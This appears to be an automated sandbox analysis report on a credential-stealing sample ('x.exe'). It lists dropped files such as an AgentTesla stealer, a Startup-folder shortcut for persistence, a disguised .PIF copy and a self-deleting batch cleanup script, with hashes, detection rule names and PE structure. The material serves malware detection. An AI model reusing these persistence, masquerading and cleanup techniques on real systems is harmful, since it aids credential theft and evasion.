SHA1:	A17AFDABC1A16A20A733D1FDC5DA116657AAB561
SHA-256:	87239BAD85A89EB90322C658DFD589B40229E57F05B181357FF834FCBABCB7E2
SHA-512:	CF71FE05075C7CAE036BD1B7192B8571C6F97A32209293B54FAEC79BAE0B6C3369946B277CE2E1F0BF455BF60FA0E8BB890E7E9AAE9137C79AB44C9C3D406D35
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379460230152629
Encrypted:	false
SSDEEP:	48:fWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//ZeUyus:fLHyIFKL3IZ2KRH9Ougos
MD5:	28F8623974ADE7FF0B49C3406E91E372
SHA1:	739F9DD671D9788B182A7A2D506A3919CA1C6098
SHA-256:	3CFE86C229FC35A9886CD7D5A46DFF98C0389C9294C35AA82FA4F907A72E8269
SHA-512:	93E2DC72E86EE4006A29687F845FA384C4B3DF320191C77E64CF3EF751D641BB51328F5F36F31FF781F07233A4D3BF24DBC57CCE9B943756257D0A1E0912AB32
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2b1iobea.ydi.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2kts4nwv.4co.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cknhcxif.2ku.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yodbgdus.ps3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\neworigin.exe

Download File

Process:	C:\Users\Public\Libraries\lxsyrsiW.pif
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	250368
Entropy (8bit):	5.008874766930935
Encrypted:	false
SSDEEP:	3072:K5rmOKmqOPQrF5Z6YzyV29z556CWZxtm:KBmOKmqOPQrF/6YP9zZWjt
MD5:	D6A4CF0966D24C1EA836BA9A899751E5
SHA1:	392D68C000137B8039155DF6BB331D643909E7E7
SHA-256:	DC441006CB45C2CFAC6C521F6CD4C16860615D21081563BD9E368DE6F7E8AB6B
SHA-512:	9FA7AA65B4A0414596D8FD3E7D75A09740A5A6C3DB8262F00CB66CD4C8B43D17658C42179422AE0127913DEB854DB7ED02621D0EEB8DDFF1FAC221A8E0D1CA35
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\neworigin.exe, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: C:\Users\user\AppData\Local\Temp\neworigin.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\neworigin.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0y.f............................>.... ........@.. .......................@............@.....................................S.......F.................... ....................................................... ............... ..H............text...D.... ...................... ..`.rsrc...F...........................@..@.reloc....... ......................@..B................ .......H...........>...............................................................H>H}>.b..&.g......y.O.A..{...KF......'u..I...0.......u...y....8`.q.hSw/.a....\.=!t@K..n.z...~2.n.$.)...&#...L.t^X..t.com.apple.Safari...............ixKZ-...4.xV....4.xV....~...d...r...a...G...o...n...~...~...F...@...7...%...m...$...~....}.....is.......5..0.m..._.7...6q.~[b8...d.K.Z.S..h.wCLG.....kL..Rk.#NX..........=.K...!.........=.K...!.&..9..q...Sz.\|........................................

C:\Users\user\AppData\Local\Temp\server_BTC.exe

Download File

Process:	C:\Users\Public\Libraries\lxsyrsiW.pif
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	231936
Entropy (8bit):	5.039764014369673
Encrypted:	false
SSDEEP:	3072:ocaWxnNbVzunOKrp3gGhTbUwjI4C2rpdf1/0dDQFd4jiSCvpoV6l7Mp:PNbhKrpnTbxT18dUFVS6lg
MD5:	50D015016F20DA0905FD5B37D7834823
SHA1:	6C39C84ACF3616A12AE179715A3369C4E3543541
SHA-256:	36FE89B3218D2D0BBF865967CDC01B9004E3BA13269909E3D24D7FF209F28FC5
SHA-512:	55F639006A137732B2FA0527CD1BE24B58F5DF387CE6AA6B8DD47D1419566F87C95FC1A6B99383E8BD0BCBA06CC39AD7B32556496E46D7220C6A7B6D8390F7FC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0......~......n(... ...@....@.. ....................................`..................................(..W....@...z........................................................................... ............... ..H............text...t.... ...................... ..`.rsrc....z...@...\|..................@..@.reloc..............................@..B................P(......H........>...............=..p...........................................".(!......s3...z...s..........(.....Z~ ...oK...~....(!.....(5....&.(!.....".......".(u....Vs....(v...t.........&..(.....Br...p(.....(....sL....).......0...........r...p....s........ ................. ........8[...........o.........................% ....X....o....a.o.............o....]......... ....X............o....?....(........o....o ...............8........*....0..........r)..p(....("....

C:\Users\user\AppData\Local\Temp\tmpFB9.tmp.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\server_BTC.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	5.005860970615645
Encrypted:	false
SSDEEP:	3:mKDDCMNvFbuov3DN+E2J5xAIJWAdEFKDwU1hGDN+E2J5xAInTRIJcLjIBQty:hWKdbuoLN723fJWAawDNeN723fT36
MD5:	70873B877515E74B4728AC25263D6983
SHA1:	A7489FB4E2ABC3CE703D1D545E3A0280616225C2
SHA-256:	45B68DB1F156AB959A987BCF26ACA9787E34E59E0FBD5162B5131FFAF25B7B29
SHA-512:	A77D8A7CF546EF30FD5AB6C770B65EC4FDA44D6EDB93D731AD556DA8EA24722A42E07F195102FE27A5A732B12334A02640DD2C8B9499A95711BB24CDF995E93C
Malicious:	false
Preview:	@echo off..timeout 6 > NUL..CD C:\Users\user\AppData\Local\Temp..DEL "server_BTC.exe" /f /q..CD C:\Users\user\AppData\Local\Temp\..DEL "tmpFB9.tmp.cmd" /f /q..

C:\Users\user\AppData\Roaming\659475502e6d002.bin

Download File

Process:	C:\Users\Public\Libraries\lxsyrsiW.pif
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.983344573018528
Encrypted:	false
SSDEEP:	192:GNtbe3n0t2AktAipGzf3QcXkl8SnAn4vNwd8X+mq7d+R2op9PGUCxFsfkynK4vFx:GNA3lLazVXkoANKJKp9udFszD2zC0YNr
MD5:	D52928BEB7E3EF0E1BA4B2B5127D7C2D
SHA1:	75AB6D5415569CFAD2113B1C2C69396E29F732CC
SHA-256:	52E1620C84EBFD4EA6BD5F8F7AA4A6E3261261C67FED9C4F09F0415A6AC6616B
SHA-512:	35D5CECD3FDAC3D4078E0D67C8D75B5757F34B5DD8AE94168953CB1E000CAA2FA72E386A64ED4FBA67FDBD5D2BEA70BF92BF1425E4163C1EE92F2C5AE305F0FA
Malicious:	false
Preview:	.N..h...m.^.,..m5g..C.mBg6.2c"^.Kt.YbkS.d.)...f..c...{.9...YF...[n.p.j9v...sC.@..c.....!..w\|..X..#..s..iy?.g.(...9..\|.B^..`D.Ml..dc,0.7.\|S.<R.#>a.....8.{.L.....t\|..I...V.$g..ZH..G.}j!l.r..+JTx.8.:....XX.....Q......r.6.......9..+...b..^.#9.S...;..k/@vB..\|..f..lnq.......4.3V..+o9i...wd5..[8../N..%.-....J....H/......io.k..>....v....{..q.&..%m..../..`0#...=....P.......H.M}....g...3....J.fe..s.3..e.........+...Ja........j.jP....^..ouRf.W..}....!f.T.Y.e..\|.v.v..%.."cT..C....Zm...)..TTa.....2....`.h.t..."_..h.........I.....oG3. ...M.)....he.........,..H......+...MclK.@.~].TjJ.5....}$.e..p.H.P....M.#K...)...C:..&.....a....M.J./......R.2\|..X+]Y2.....g.3H8.....GE.....U.l....z].]..=.?..9..\....;.9rI,}._y.`).t\|...\|!...._N.-...$p._......;WI...`g..<W....+Q.r.....W.;.U..v.$.(.2..l....H'..2.f.]~..h-#.a.V.*C..8......~.&.5.@.q.....W.@.....F.II...jg....5D.y)z ".t+x7...9.......-2.(........L..5..8.![...L~.)..C.T.j^v.~~T\|..3&.p@.'c..R@...;pm..Q~..5

C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\server_BTC.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	231936
Entropy (8bit):	5.039764014369673
Encrypted:	false
SSDEEP:	3072:ocaWxnNbVzunOKrp3gGhTbUwjI4C2rpdf1/0dDQFd4jiSCvpoV6l7Mp:PNbhKrpnTbxT18dUFVS6lg
MD5:	50D015016F20DA0905FD5B37D7834823
SHA1:	6C39C84ACF3616A12AE179715A3369C4E3543541
SHA-256:	36FE89B3218D2D0BBF865967CDC01B9004E3BA13269909E3D24D7FF209F28FC5
SHA-512:	55F639006A137732B2FA0527CD1BE24B58F5DF387CE6AA6B8DD47D1419566F87C95FC1A6B99383E8BD0BCBA06CC39AD7B32556496E46D7220C6A7B6D8390F7FC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0......~......n(... ...@....@.. ....................................`..................................(..W....@...z........................................................................... ............... ..H............text...t.... ...................... ..`.rsrc....z...@...\|..................@..@.reloc..............................@..B................P(......H........>...............=..p...........................................".(!......s3...z...s..........(.....Z~ ...oK...~....(!.....(5....&.(!.....".......".(u....Vs....(v...t.........&..(.....Br...p(.....(....sL....).......0...........r...p....s........ ................. ........8[...........o.........................% ....X....o....a.o.............o....]......... ....X............o....?....(........o....o ...............8........*....0..........r)..p(....("....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrojanAIbot.exe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\server_BTC.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Tue Nov 12 13:55:09 2024, mtime=Tue Nov 12 13:55:09 2024, atime=Tue Nov 12 13:55:07 2024, length=231936, window=
Category:	dropped
Size (bytes):	1800
Entropy (8bit):	3.5174539760867622
Encrypted:	false
SSDEEP:	24:8iHTcDylXUan3bByANsVs4FSnrlwO4ZTqlOBm:8iHTcDyl1nLBRr4+rlwZTqlS
MD5:	F93463814898869600E73F7B6F6F5E5F
SHA1:	D0AEABCEB57F8555EF1B200176B2A6DDBE4C6680
SHA-256:	6A21B311794AED786ED0E8FFA807E2085F2447A0F982049BF153D6C4DF9E92DA
SHA-512:	C53ADF33B6457A8F4781C7DA384287682F492D01564A4F2D5E4C3A63EBE72774CDBEEB8D82340072D35E60CE457E8E12C9DD6D707EE55158347812D64550BEFB
Malicious:	false
Preview:	L..................F.@.. ...>....5..f...5..M4...5............................:..DG..Yr?.D..U..k0.&...&.......$..S.....@..5...~...5......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2lY.v...........................^.A.p.p.D.a.t.a...B.V.1.....lY.v..Roaming.@......EW<2lY.v..../.....................?...R.o.a.m.i.n.g.....T.1.....lY.v..ACCApi..>......lY.vlY.v....a.......................5.A.C.C.A.p.i.....l.2.....lY.v .TROJAN~1.EXE..P......lY.vlY.v............................y.T.r.o.j.a.n.A.I.b.o.t...e.x.e.......g...............-.......f...........Pu.e.....C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe....A.c.c.S.y.s.%.....\.....\.....\.....\.....\.A.C.C.A.p.i.\.T.r.o.j.a.n.A.I.b.o.t...e.x.e.3.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.s.e.r.v.e.r._.B.T.C...e.x.e.........%USERPROFILE%\AppData\Local\Temp\server_BTC.exe......................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	584
Entropy (8bit):	4.577748679815264
Encrypted:	false
SSDEEP:	12:q82lxTzP1eSbZ7u0wxDDDDDDDDjCaY5xcVaYAaMaTB8NGNgL:bexTzdp7u0wQakxKaLat8NN
MD5:	CF86EBE29BA30115D6897C13D97CB13E
SHA1:	9C6EC113EA72063CA4AD63821B93072CFF3C8ED7
SHA-256:	33056DA535B20A3D9472950C3AAE1A5BE817D771CD7B7E97DBD5317C3F4D2D97
SHA-512:	A18D565B6A4578E965747D2C806B118E5F0C345F5152F2571555284C02EF68BD30074975C9582A1CB90701A2D019B5027F457CB7CC784701931936EA88900BC2
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\Users\user\Desktop\x.exe...Destination File: C:\\Users\\Public\\Libraries\\Wisrysxl.PIF...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x108200 (1081856) (1 MB)....Total bytes written = 0x109000 (1085440) (1 MB).......Operation completed successfully in 0.141 seconds.....

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.524640141725149
Encrypted:	false
SSDEEP:	3:hYF0ZAR+mQRKVxLZQtL1yn:hYFoaNZQtLMn
MD5:	04A92849F3C0EE6AC36734C600767EFA
SHA1:	C77B1FF27BC49AB80202109B35C38EE3548429BD
SHA-256:	28B3755A05430A287E4DAFA9F8D8EF27F1EDA4C65E971E42A7CA5E5D4FAE5023
SHA-512:	6D67DF8175522BF45E7375932754B1CA3234292D7B1B957D1F68E4FABE6E7DA0FC52C6D22CF1390895300BA7F14E645FCDBF9DCD14375D8D43A3646C0E338704
Malicious:	false
Preview:	..Waiting for 6 seconds, press a key to continue ....5.4.3.2.1.0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.9272903664814445
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	x.exe
File size:	1'081'856 bytes
MD5:	31bc6907d6097a76bb1dd891cfc09b7a
SHA1:	97340ca203a1207e492135d580c6860a724a227f
SHA256:	f711703c8ba66dcedb8e4b83f21a0425c528e278242c852fd5cf54bb43e30454
SHA512:	6c217fa37cc4c655cda0a2a491e49ac736e4940027178b3c7d6488d296923d40cc26a4d0142052b94b58491fa90f17ab3f4115cb0c75efe09175e732d62dbbf5
SSDEEP:	24576:BJSK4Kavab3wMeAOr6ZFlR+gKT44VoIOL7zk:7K1WYL6L
TLSH:	2835AF7AF6744861E037A5398CCB67A6582DBF7C1928B4C226F65B7C2E3A350340BD53
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	08302020c0c92020

Static PE Info

General

Entrypoint:	0x46475c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ea87ad3ff9b755fe3923cfc8eb894da6

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00463490h
call 00007F5829356ED9h
mov eax, dword ptr [00466C04h]
mov eax, dword ptr [eax]
call 00007F58293AA1A9h
mov ecx, dword ptr [00466CF8h]
mov eax, dword ptr [00466C04h]
mov eax, dword ptr [eax]
mov edx, dword ptr [00462264h]
call 00007F58293AA1A9h
mov ecx, dword ptr [00466D30h]
mov eax, dword ptr [00466C04h]
mov eax, dword ptr [eax]
mov edx, dword ptr [00462064h]
call 00007F58293AA191h
call 00007F5829354DA4h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6b000	0x2536	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x78000	0x99400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x70000	0x7230	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x6f000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x6b6e4	0x5cc	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x626e0	0x62800	d57bd0e6646e792cf3a8b0429a5b2336	False	0.5127300126903553	data	6.509466837289833	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x64000	0x7b0	0x800	20a59b0afa52ae48c0f33c7bcb0e6f95	False	0.60693359375	data	6.022301347009192	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x65000	0x1d98	0x1e00	c44ec72c2f706b9a0c3271d1f8179421	False	0.4016927083333333	data	3.872761412786969	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x67000	0x36ac	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6b000	0x2536	0x2600	f2768d24a229e45d9b72c514c6905c1f	False	0.3190789473684211	data	5.1451129727895095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x6e000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x6f000	0x18	0x200	e69c9ffd209bb239dd4bf62d0475d59b	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x70000	0x7230	0x7400	8c16d72a0182b5ddd3a8d48f93bccff6	False	0.615167025862069	data	6.65870845851274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x78000	0x99400	0x99400	3ac8474f7e2f3188227a6a1a6e7e8ae3	False	0.40286628262642743	data	6.568668310967687	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x78b30	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x78c64	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x78d98	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x78ecc	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x79000	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x79134	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x79268	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x7939c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x7956c	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x79750	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x79920	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x79af0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x79cc0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x79e90	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x7a060	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x7a230	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x7a400	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x7a5d0	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x7a6b8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 1889 x 1889 px/m			0.0979253112033195
RT_ICON	0x7cc60	0x15b7	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.908256880733945
RT_DIALOG	0x7e218	0x52	data			0.7682926829268293
RT_DIALOG	0x7e26c	0x52	data			0.7560975609756098
RT_STRING	0x7e2c0	0x174	Targa image data - Color 99 x 107 x 32 +68 +111 "z"			0.5161290322580645
RT_STRING	0x7e434	0x208	data			0.5365384615384615
RT_STRING	0x7e63c	0xcc	data			0.6715686274509803
RT_STRING	0x7e708	0xe4	data			0.6403508771929824
RT_STRING	0x7e7ec	0x3f4	data			0.4041501976284585
RT_STRING	0x7ebe0	0x3a8	data			0.36538461538461536
RT_STRING	0x7ef88	0x394	data			0.3941048034934498
RT_STRING	0x7f31c	0x3f8	data			0.37598425196850394
RT_STRING	0x7f714	0xf4	data			0.5532786885245902
RT_STRING	0x7f808	0xc4	data			0.6275510204081632
RT_STRING	0x7f8cc	0x22c	data			0.5017985611510791
RT_STRING	0x7faf8	0x3b4	data			0.3227848101265823
RT_STRING	0x7feac	0x368	data			0.37844036697247707
RT_STRING	0x80214	0x2b8	data			0.3879310344827586
RT_RCDATA	0x804cc	0x10	data			1.5
RT_RCDATA	0x804dc	0x310	data			0.6977040816326531
RT_RCDATA	0x807ec	0xa20	Delphi compiled form 'TForm1'			0.41435185185185186
RT_RCDATA	0x8120c	0x755	Delphi compiled form 'TForm2'			0.42301545018646775
